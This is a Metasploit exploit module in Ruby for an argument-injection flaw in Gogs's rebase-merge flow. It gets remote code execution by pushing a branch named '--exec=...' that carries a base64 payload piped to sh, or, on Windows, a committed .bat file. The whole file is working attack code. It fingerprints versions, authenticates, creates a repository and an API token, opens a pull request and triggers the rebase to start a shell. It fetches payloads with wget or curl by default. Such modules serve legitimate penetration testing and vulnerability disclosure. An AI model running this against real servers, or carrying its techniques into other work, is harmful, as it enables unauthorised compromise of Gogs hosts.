Gogs Git Rebase Argument Injection RCE

# frozen_string_literal: true

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote

  Rank = ExcellentRanking

  prepend Msf::Exploit::Remote::AutoCheck
  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Gogs Git Rebase Argument Injection RCE',
        'Description' => %q{
          This module exploits an argument injection vulnerability in the
          pull request merge flow of Gogs (<= 0.14.2 and <= 0.15.0+dev).

          The Merge() function in internal/database/pull.go passes the PR
          base branch name to `git rebase` without a `--` separator. A
          branch named `--exec=<CMD>` is parsed by Git as the --exec flag
          rather than a positional argument, causing `sh -c <CMD>` to run
          after each replayed commit during the rebase.

          Two exploitation methods are supported:

          - own_repo: The attacker creates a temporary repository, enables
          rebase merge, and operates entirely within their own account.
          Any authenticated user who can create repositories (the default)
          can exploit this with no interaction from other users required.

          - existing_repo: The attacker exploits a repository they already
          have write and merge access to, where "Rebase before merging"
          is enabled (or the attacker has repo admin permissions to
          enable it). This path is useful on instances where repository
          creation is restricted.

          Both methods use git to push divergent branches (including the
          malicious --exec= branch), open a pull request, and trigger a
          rebase merge to execute the payload. A local git installation
          is required.

          On Unix targets, the payload is base64-encoded inline in
          the malicious branch name, avoiding the need to commit files
          to the repository. On Windows targets, the payload is
          delivered via a script file committed to the repository,
          since NTFS forbids pipe characters in filenames. Git for
          Windows uses MSYS2 sh for --exec commands, enabling
          cross-platform exploitation.

          Note: a successful rebase merge may leave the server-side
          repository in a corrupted git state (mid-rebase). For
          own_repo this is inconsequential because the repository is
          deleted. For existing_repo this can break the target
          repository and prevent re-exploitation against the same repo.

          The Gogs API does not support token deletion, so the API
          access token created during exploitation cannot be removed
          automatically and will persist under the attacker account.
        },
        'Author' => [
          'Crypto-Cat', # Vulnerability discovery and Metasploit module
        ],
        'References' => [
          # ['CVE', ''],
          ['GHSA', 'qf6p-p7ww-cwr9', 'gogs/gogs'],
          ['URL', 'https://www.rapid7.com/blog/post/ve-authenticated-rce-via-argument-injection-gogs-unfixed'],
          ['URL', 'https://github.com/gogs/gogs'],
        ],
        'DisclosureDate' => '2026-03-17',
        'License' => MSF_LICENSE,
        'Platform' => ['unix', 'linux', 'win'],
        'Arch' => ARCH_CMD,
        'Privileged' => false,
        'Targets' => [
          [
            'Unix Command',
            {
              'Platform' => ['linux', 'unix'],
              'Arch' => ARCH_CMD,
              'Type' => :unix_cmd,
              'DefaultOptions' => {
                'FETCH_COMMAND' => 'WGET',
                'FETCH_WRITABLE_DIR' => '/tmp/'
              }
            }
          ],
          [
            'Windows Command',
            {
              'Platform' => 'win',
              'Arch' => ARCH_CMD,
              'Type' => :win_cmd,
              'DefaultOptions' => {
                'FETCH_COMMAND' => 'CURL'
              }
            }
          ]
        ],
        'DefaultOptions' => {
          'RPORT' => 3000,
          'WfsDelay' => 30
        },
        'DefaultTarget' => 0,
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'SideEffects' => [CONFIG_CHANGES, ARTIFACTS_ON_DISK, IOC_IN_LOGS],
          # Not REPEATABLE_SESSION: existing_repo can corrupt the target
          # repo's git state (mid-rebase), preventing re-exploitation.
          'Reliability' => []
        }
      )
    )

    register_options([
      OptString.new('USERNAME', [true, 'Gogs username', nil]),
      OptString.new('PASSWORD', [true, 'Gogs password', nil]),
      OptEnum.new('EXPLOIT_METHOD', [
        true, 'Exploit method: own_repo creates a temporary repo, existing_repo targets a repo the attacker has write access to',
        'own_repo', ['own_repo', 'existing_repo']
      ]),
      OptString.new('REPO_OWNER', [false, 'Owner of the target repository (required for existing_repo)', nil], conditions: %w[EXPLOIT_METHOD == existing_repo]),
      OptString.new('REPO_NAME', [false, 'Name of the target repository (required for existing_repo)', nil], conditions: %w[EXPLOIT_METHOD == existing_repo]),
      OptBool.new('ENABLE_REBASE', [
        true, 'Enable rebase merge in repository settings (existing_repo requires repo admin access)', true
      ]),
    ])

    @need_cleanup = false
  end

  # Maps CSS/JS commit hashes to Gogs release versions for fingerprinting.
  # The hash appears in the ?v= parameter of static asset URLs on unauthenticated pages.
  COMMIT_TO_VERSION = {
    '5dcb6c64bdf61e38dbdbb941c1d69789c560d0fb' => '0.14.2',
    'f5c8030c1fd936f3e0e9f774e3c7c39fd102f56f' => '0.14.1',
    '36c26c4ccc3ca0339db53eb1fa41e4e86b55163d' => '0.14.0',
    'd958a47a0e9d8747e399c687fdb3ec64a3b1a736' => '0.13.4',
    '5084b4a9b77a506f5e287e82e945e1c6882b827a' => '0.13.3',
    '593c7b6db601c68d16b2fb9a7e1194cb816f5efb' => '0.13.2',
    '0c40e600a275d490481cfeea53705810fbe94d9b' => '0.13.1',
    '8c21874c00b6100d46b662f65baeb40647442f42' => '0.13.0',
    'c9fba3cb30af0789fcf89098dfcb8f2286ee7d3b' => '0.12.11',
    '1ce5171ae170750298c150874e718740dd7ef69f' => '0.12.10',
    '012a1ba19ed2f8f5185be4254f655ba6c4b34db2' => '0.12.9',
    '7f8799c01f264eb7770766621fb68debee414b68' => '0.12.8',
    'd06ba7e527fcc462aecdb660ce001e87d94f024c' => '0.12.7',
    '26395294bdef382b577fd60234e5bb14f4090cc8' => '0.12.6'
  }.freeze

  def own_repo?
    datastore['EXPLOIT_METHOD'] == 'own_repo'
  end

  def check
    res = send_request_cgi(
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path)
    )
    return CheckCode::Unknown('Target did not respond.') unless res

    unless res.body.to_s.match(/<meta +name="author" +content="Gogs"/)
      return CheckCode::Safe('Target does not appear to be running Gogs.')
    end

    # Fingerprint via static asset commit hash (unauthenticated, all versions)
    version = nil
    hash_match = res.body.to_s.match(/gogs\.min\.css\?v=([a-f0-9]{40})/)
    if hash_match
      version = COMMIT_TO_VERSION[hash_match[1]]
      vprint_status("Unknown Gogs commit hash: #{hash_match[1]}") unless version
    end

    service_info = version ? "Gogs Git Service #{version}" : 'Gogs Git Service'
    report_gogs_service(service_info)

    if version
      ver = Rex::Version.new(version)
      # NOTE: No fix exists yet. We assume a future version > 0.14.2 will
      # include a patch. If the next release (e.g. 0.14.3) is still
      # vulnerable, update this threshold accordingly.
      if ver <= Rex::Version.new('0.14.2')
        return CheckCode::Appears("Gogs #{version} detected.")
      else
        return CheckCode::Safe("Gogs #{version} detected.")
      end
    end

    CheckCode::Detected('Gogs detected, but could not determine version.')
  end

  def exploit
    fail_with(Failure::BadConfig, 'Local git installation required but not found') unless git_available?

    unless own_repo?
      fail_with(Failure::BadConfig, 'REPO_OWNER is required when EXPLOIT_METHOD is existing_repo') if datastore['REPO_OWNER'].blank?
      fail_with(Failure::BadConfig, 'REPO_NAME is required when EXPLOIT_METHOD is existing_repo') if datastore['REPO_NAME'].blank?
    end

    print_status("Executing #{target.name} for #{datastore['PAYLOAD']}")

    # Authenticate (API token first, before web login adds session cookies)
    print_status("Authenticating as \"#{datastore['USERNAME']}\"")
    create_api_token
    gogs_login
    print_good('Authenticated')

    if own_repo?
      @repo_name = "#{Rex::Text.rand_text_alpha_lower(4)}-#{Rex::Text.rand_text_alpha_lower(4)}"
      @repo_path = "#{datastore['USERNAME']}/#{@repo_name}"
      print_status("Creating repository \"#{@repo_name}\"")
      create_repo
      @need_cleanup = true
      print_good('Repository created')

      print_status('Enabling rebase merge in repository settings')
      enable_rebase_merge
      print_good('Rebase merge enabled')
    else
      @repo_name = datastore['REPO_NAME']
      @repo_path = "#{datastore['REPO_OWNER']}/#{@repo_name}"
      print_status("Using existing repository \"#{@repo_path}\"")
      validate_existing_repo
      @need_cleanup = true

      if datastore['ENABLE_REBASE']
        try_enable_rebase
      else
        print_status('Assuming rebase merge is already enabled (set ENABLE_REBASE to change settings)')
      end
    end

    case target['Type']
    when :unix_cmd
      # Base64-encode the payload inline in the branch name. Pipes are
      # valid in Linux/macOS refs but forbidden on NTFS, so this is
      # Unix-only. No script file needs to be committed to the repo.
      wrapped = "(#{payload.encoded}) </dev/null >/dev/null 2>&1 &"
      b64 = Rex::Text.encode_base64(wrapped)
      # Git ref names forbid '//'; re-pad with leading spaces until safe
      padding = 0
      while b64.include?('//') && padding < 50
        padding += 1
        b64 = Rex::Text.encode_base64(' ' * padding + wrapped)
      end
      @malicious_branch = "--exec=echo${IFS}#{b64}|base64${IFS}-d|sh"

    when :win_cmd
      # NTFS forbids | in filenames so we can't use the base64|sh
      # approach. Instead, commit a script file to the repo.
      # MSYS2 sh mangles $, & etc. so write the payload to a .bat and
      # have the sh wrapper invoke cmd.exe instead.
      rand_name = Rex::Text.rand_text_alpha_lower(6)
      @payload_content = payload.encoded
      @payload_file = ".#{rand_name}"
      @bat_file = ".#{rand_name}.bat"
      @malicious_branch = "--exec=sh${IFS}#{@payload_file}"
    end

    print_status('Pushing branches via git')
    setup_branches_via_git
    print_good('Branches pushed')

    print_status('Creating pull request')
    @pr_number = create_pull_request
    print_good("PR ##{@pr_number} created")

    print_status('Triggering rebase merge')
    trigger_rebase_merge
    report_vuln(
      host: rhost,
      port: rport,
      proto: 'tcp',
      name: name,
      info: "Exploited via #{datastore['EXPLOIT_METHOD']} method",
      refs: references,
      service: report_gogs_service('Gogs Git Service')
    )
    print_good('Rebase merge triggered, waiting for shell...')
  end

  # ---------------------------------------------------------------
  # Authentication
  # ---------------------------------------------------------------

  def gogs_login
    res = http_post_request(
      '/user/login',
      user_name: datastore['USERNAME'],
      password: datastore['PASSWORD']
    )
    fail_with(Failure::Unreachable, 'Login page unreachable') unless res
    fail_with(Failure::NoAccess, 'Login failed - check credentials') unless res.code == 302
  end

  def create_api_token
    preflight = send_request_cgi(
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, 'api', 'v1')
    )
    fail_with(Failure::Unreachable, 'Gogs API not responding') unless preflight

    res = send_request_cgi(
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, 'api', 'v1', 'users', datastore['USERNAME'], 'tokens'),
      'ctype' => 'application/json',
      'headers' => { 'Authorization' => basic_auth(datastore['USERNAME'], datastore['PASSWORD']) },
      'data' => { name: "msf_#{Rex::Text.rand_text_alpha_lower(8)}" }.to_json
    )
    fail_with(Failure::UnexpectedReply, "API token creation failed (HTTP #{res&.code})") unless res&.code == 201

    @api_token = res.get_json_document['sha1']
    vprint_good("API token: #{@api_token}")
  end

  # ---------------------------------------------------------------
  # Repository setup
  # ---------------------------------------------------------------

  def create_repo
    res = api_request(
      'POST',
      '/api/v1/user/repos',
      { name: @repo_name, private: true, default_branch: 'master' }.to_json
    )
    fail_with(Failure::UnexpectedReply, "Repo creation failed: #{res&.code}") unless res&.code == 201
  end

  def enable_rebase_merge
    res = http_post_request(
      "/#{@repo_path}/settings",
      action: 'advanced',
      enable_pulls: 'on',
      pulls_allow_rebase: 'on'
    )
    fail_with(Failure::Unreachable, 'Settings page unreachable') unless res
    fail_with(Failure::UnexpectedReply, 'Failed to enable rebase merge') unless [200, 302].include?(res.code)
  end

  def validate_existing_repo
    res = api_request('GET', "/api/v1/repos/#{@repo_path}")
    fail_with(Failure::BadConfig, "Repository #{@repo_path} not found or not accessible") unless res&.code == 200

    repo_info = res.get_json_document
    db = repo_info['default_branch'].to_s
    @default_branch = db.empty? ? 'master' : db
    vprint_status("Default branch: #{@default_branch}")
    print_good("Repository #{@repo_path} confirmed accessible")
  end

  def try_enable_rebase
    print_status('Attempting to enable rebase merge in repository settings')
    settings_uri = normalize_uri(target_uri.path, @repo_path, 'settings')

    res = send_request_cgi(
      'method' => 'GET',
      'uri' => settings_uri,
      'keep_cookies' => true
    )

    unless res && res.code == 200
      print_warning('Could not access repository settings (may require repo admin). Ensure rebase merge is already enabled.')
      return
    end

    doc = res.get_html_document
    csrf = doc.at_xpath("//input[@name='_csrf']/@value")&.text
    unless csrf
      print_warning('Could not extract CSRF from settings page. Ensure rebase merge is already enabled.')
      return
    end

    res = send_request_cgi(
      'method' => 'POST',
      'uri' => settings_uri,
      'keep_cookies' => true,
      'ctype' => 'application/x-www-form-urlencoded',
      'vars_post' => {
        '_csrf' => csrf,
        'action' => 'advanced',
        'enable_pulls' => 'on',
        'pulls_allow_rebase' => 'on'
      }
    )

    if res && [200, 302].include?(res.code)
      print_good('Rebase merge enabled')
    else
      print_warning('Could not enable rebase merge. Ensure it is already enabled.')
    end
  end

  # ---------------------------------------------------------------
  # Branch setup via local git
  # ---------------------------------------------------------------

  def setup_branches_via_git
    @tmpdir = Dir.mktmpdir('msf_gogs_')
    workdir = File.join(@tmpdir, 'work')
    clone_url = build_clone_url

    if own_repo?
      run_git!(['init', workdir])
      run_git!(['remote', 'add', 'origin', clone_url], workdir)
    else
      run_git!(['clone', clone_url, workdir])
    end

    run_git!(['config', 'user.email', Faker::Internet.email], workdir)
    run_git!(['config', 'user.name', Faker::Internet.username], workdir)

    if own_repo?
      File.write(File.join(workdir, 'README.md'), "# #{@repo_name}\n")
      run_git!(['add', '.'], workdir)
      run_git!(['commit', '-m', 'init'], workdir)
      run_git!(['push', '-u', 'origin', 'master'], workdir)
    end

    @feature_branch = "feature-#{Rex::Text.rand_text_alpha_lower(6)}"
    run_git!(['checkout', '-b', @feature_branch], workdir)
    File.write(File.join(workdir, 'feature.txt'), Rex::Text.rand_text_alpha(8))
    run_git!(['add', '.'], workdir)
    run_git!(['commit', '-m', 'feature'], workdir)
    run_git!(['push', 'origin', @feature_branch], workdir)

    # Create a divergent commit to force a rebase. For existing_repo, use
    # the repo's default branch. Never push directly to the base branch.
    base_branch = own_repo? ? 'master' : (@default_branch || 'master')
    run_git!(['checkout', base_branch], workdir)
    File.write(File.join(workdir, 'diverge.txt'), Rex::Text.rand_text_alpha(8))

    # Write payload script files for Windows targets. Linux uses
    # base64-encoded payload inline in the branch name instead.
    if @bat_file
      # sh wrapper -> cmd.exe -> .bat (//c prevents MSYS2 path conversion)
      File.write(File.join(workdir, @payload_file), "cmd.exe //c #{@bat_file} </dev/null >/dev/null 2>&1 &\n")
      File.write(File.join(workdir, @bat_file), @payload_content + "\n")
    end

    run_git!(['add', '.'], workdir)
    run_git!(['commit', '-m', 'diverge'], workdir)

    # Push malicious branch via refspec (bypasses checkout -b validation).
    # Don't push to the base branch itself (especially for existing_repo).
    run_git!(['push', 'origin', "HEAD:refs/heads/#{@malicious_branch}"], workdir)
    vprint_good("Malicious branch: #{@malicious_branch}")

    vprint_good("Feature branch: #{@feature_branch}")
  end

  def build_clone_url
    user_enc = Rex::Text.uri_encode(datastore['USERNAME'])
    pass_enc = Rex::Text.uri_encode(datastore['PASSWORD'])
    scheme = datastore['SSL'] ? 'https' : 'http'
    authority = Rex::Socket.to_authority(rhost, rport)
    "#{scheme}://#{user_enc}:#{pass_enc}@#{authority}#{normalize_uri(target_uri.path, @repo_path)}.git"
  end

  def git_available?
    _out, _err, status = Open3.capture3('git', '--version')
    status.success?
  rescue Errno::ENOENT
    false
  end

  def run_git!(args, cwd = nil)
    env = { 'GIT_TERMINAL_PROMPT' => '0' }
    opts = {}
    opts[:chdir] = cwd if cwd
    stdout, stderr, status = Open3.capture3(env, 'git', *args, **opts)
    unless status.success?
      fail_with(Failure::Unknown, "Git #{args.first} failed: #{stderr.strip}")
    end
    stdout
  end

  # Non-fatal variant for cleanup operations where failure is acceptable
  def run_git_safe(args, cwd = nil)
    env = { 'GIT_TERMINAL_PROMPT' => '0' }
    opts = {}
    opts[:chdir] = cwd if cwd
    _stdout, stderr, status = Open3.capture3(env, 'git', *args, **opts)
    unless status.success?
      vprint_warning("Git #{args.first} failed: #{stderr.strip}")
      return false
    end
    true
  rescue StandardError => e
    vprint_warning("Git #{args.first} error: #{e.message}")
    false
  end

  # ---------------------------------------------------------------
  # Pull request and merge
  # ---------------------------------------------------------------

  def create_pull_request
    encoded_branch = Rex::Text.uri_encode(@malicious_branch)
    compare_uri = "/#{@repo_path}/compare/#{encoded_branch}...#{@feature_branch}"

    res = http_post_request(
      compare_uri,
      title: Rex::Text.rand_text_alpha(6),
      content: '',
      assignee_id: '0',
      milestone_id: '0'
    )
    fail_with(Failure::Unreachable, 'Compare page unreachable') unless res

    if [302, 303].include?(res.code)
      location = res.headers['Location'].to_s
      pr_num = location.chomp('/').split('/').last
      return pr_num if pr_num =~ /^\d+$/
    end

    # Fallback: find PR via API
    res = api_request('GET', "/api/v1/repos/#{@repo_path}/pulls?state=open")
    if res&.code == 200
      pulls = res.get_json_document
      return pulls.last['number'].to_s unless pulls.empty?
    end

    fail_with(Failure::UnexpectedReply, 'PR creation failed')
  end

  def trigger_rebase_merge
    merge_uri = "/#{@repo_path}/pulls/#{@pr_number}/merge"

    pr_uri = "/#{@repo_path}/pulls/#{@pr_number}"
    res = send_request_cgi(
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, pr_uri),
      'keep_cookies' => true
    )
    csrf = extract_csrf(res)

    send_request_cgi({
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, merge_uri),
      'keep_cookies' => true,
      'ctype' => 'application/x-www-form-urlencoded',
      'vars_get' => { 'merge_style' => 'rebase_before_merging' },
      'vars_post' => {
        '_csrf' => csrf,
        'commit_description' => ''
      }
    }, 5)
    # May return 500 (expected on exec), 302 (merged), or timeout (blocking shell)

    # Reset connection pool since the merge POST may have timed out
    disconnect
  end

  # ---------------------------------------------------------------
  # HTTP helpers
  # ---------------------------------------------------------------

  def api_request(method, uri, body = nil)
    opts = {
      'method' => method,
      'uri' => normalize_uri(target_uri.path, uri),
      'headers' => { 'Authorization' => "token #{@api_token}" }
    }
    if body
      opts['ctype'] = 'application/json'
      opts['data'] = body
    end
    send_request_cgi(opts)
  end

  def http_post_request(uri, opts = {})
    full_uri = normalize_uri(target_uri.path, uri)
    csrf = get_csrf(full_uri)

    post_data = { _csrf: csrf }.merge(opts)
    send_request_cgi(
      'method' => 'POST',
      'uri' => full_uri,
      'ctype' => 'application/x-www-form-urlencoded',
      'keep_cookies' => true,
      'vars_post' => post_data
    )
  end

  def get_csrf(uri)
    res = send_request_cgi(
      'method' => 'GET',
      'uri' => uri,
      'keep_cookies' => true
    )
    fail_with(Failure::Unreachable, "Unable to reach #{uri}") unless res

    extract_csrf(res)
  end

  def extract_csrf(res)
    fail_with(Failure::Unreachable, 'No response to extract CSRF from') unless res

    doc = res.get_html_document
    csrf = doc.at_xpath("//input[@name='_csrf']/@value")&.text
    fail_with(Failure::NotFound, 'CSRF token not found in response') if csrf.blank?

    csrf
  end

  def basic_auth(user, pass)
    "Basic #{Rex::Text.encode_base64("#{user}:#{pass}")}"
  end

  # Returns a service object for linking to report_vuln.
  # Builds the full layered service hierarchy: gogs -> [ssl ->] http -> tcp
  def report_gogs_service(info)
    base_opts = {
      host: rhost,
      port: rport,
      proto: 'tcp'
    }
    gogs_srv = base_opts.merge(name: 'gogs', info: info)
    http_srv = base_opts.merge(name: 'http', parents: base_opts.merge(name: 'tcp'))
    gogs_srv[:parents] = datastore['SSL'] ? base_opts.merge(name: 'ssl', parents: http_srv) : http_srv

    report_service(gogs_srv)
  end

  # ---------------------------------------------------------------
  # Cleanup
  # ---------------------------------------------------------------

  def cleanup
    super

    if @need_cleanup
      if own_repo?
        cleanup_own_repo
      else
        cleanup_existing_repo
      end
    end

    # Clean up local temp directory AFTER remote cleanup (existing_repo
    # branch deletion uses the local git workdir for push operations)
    if @tmpdir && File.directory?(@tmpdir)
      FileUtils.rm_rf(@tmpdir)
      vprint_status('Local temp directory cleaned up')
    end

    # Gogs API has no token deletion endpoint, so warn the user
    if @api_token
      print_warning('API token "msf_*" persists on the target (Gogs API does not support token deletion)')
    end
  end

  def cleanup_own_repo
    print_status("Cleaning up - deleting repository #{@repo_name}")

    send_request_cgi(
      'method' => 'DELETE',
      'uri' => normalize_uri(target_uri.path, '/api/v1/repos/', @repo_path),
      'headers' => { 'Authorization' => "token #{@api_token}" }
    )

    verify = send_request_cgi(
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, '/api/v1/repos/', @repo_path),
      'headers' => { 'Authorization' => "token #{@api_token}" }
    )

    if verify&.code == 404
      print_good("Repository #{@repo_name} deleted")
    elsif verify.nil?
      print_warning("Could not confirm deletion. Delete #{@repo_path} manually if it still exists.")
    else
      print_warning("Repository may still exist. Delete #{@repo_path} manually.")
    end
  rescue ::Rex::ConnectionError, ::Errno::ECONNRESET => e
    print_warning("Cleanup failed: #{e.message}. Delete #{@repo_path} manually.")
  end

  def cleanup_existing_repo
    print_status("Cleaning up artifacts from #{@repo_path}")
    delete_remote_branches
    close_pull_request
  rescue ::Rex::ConnectionError, ::Errno::ECONNRESET => e
    print_warning("Cleanup failed: #{e.message}")
    print_warning("Manually delete branches and close PR ##{@pr_number} in #{@repo_path}")
  end

  def delete_remote_branches
    workdir = @tmpdir ? File.join(@tmpdir, 'work') : nil
    return unless workdir && File.directory?(workdir)

    if @malicious_branch
      vprint_status("Deleting malicious branch from #{@repo_path}")
      if run_git_safe(['push', 'origin', '--delete', "refs/heads/#{@malicious_branch}"], workdir)
        print_good('Malicious branch deleted')
      else
        print_warning("Could not delete malicious branch. Delete it manually from #{@repo_path}")
      end
    end

    if @feature_branch
      vprint_status("Deleting feature branch from #{@repo_path}")
      if run_git_safe(['push', 'origin', '--delete', @feature_branch], workdir)
        print_good('Feature branch deleted')
      else
        print_warning("Could not delete feature branch \"#{@feature_branch}\" from #{@repo_path}")
      end
    end
  end

  def close_pull_request
    return unless @pr_number

    # GET the PR page for CSRF (must use /pulls/ path; /issues/ redirects)
    pr_page = normalize_uri(target_uri.path, @repo_path, 'pulls', @pr_number)
    res = send_request_cgi(
      'method' => 'GET',
      'uri' => pr_page,
      'keep_cookies' => true
    )

    unless res
      print_warning("Could not load PR page to close PR ##{@pr_number}")
      return
    end

    # Extract CSRF without fail_with (cleanup must not abort)
    doc = res.get_html_document
    csrf = doc.at_xpath("//input[@name='_csrf']/@value")&.text
    unless csrf
      print_warning("Could not find CSRF token to close PR ##{@pr_number}")
      return
    end

    comment_uri = normalize_uri(target_uri.path, @repo_path, 'issues', @pr_number, 'comments')
    res = send_request_cgi(
      'method' => 'POST',
      'uri' => comment_uri,
      'keep_cookies' => true,
      'ctype' => 'application/x-www-form-urlencoded',
      'vars_post' => {
        '_csrf' => csrf,
        'status' => 'close',
        'content' => ''
      }
    )

    if res && [200, 302].include?(res.code)
      print_good("PR ##{@pr_number} closed")
    else
      print_warning("Could not close PR ##{@pr_number}. Close it manually in #{@repo_path}")
    end
  rescue StandardError => e
    print_warning("Failed to close PR: #{e.message}")
  end
end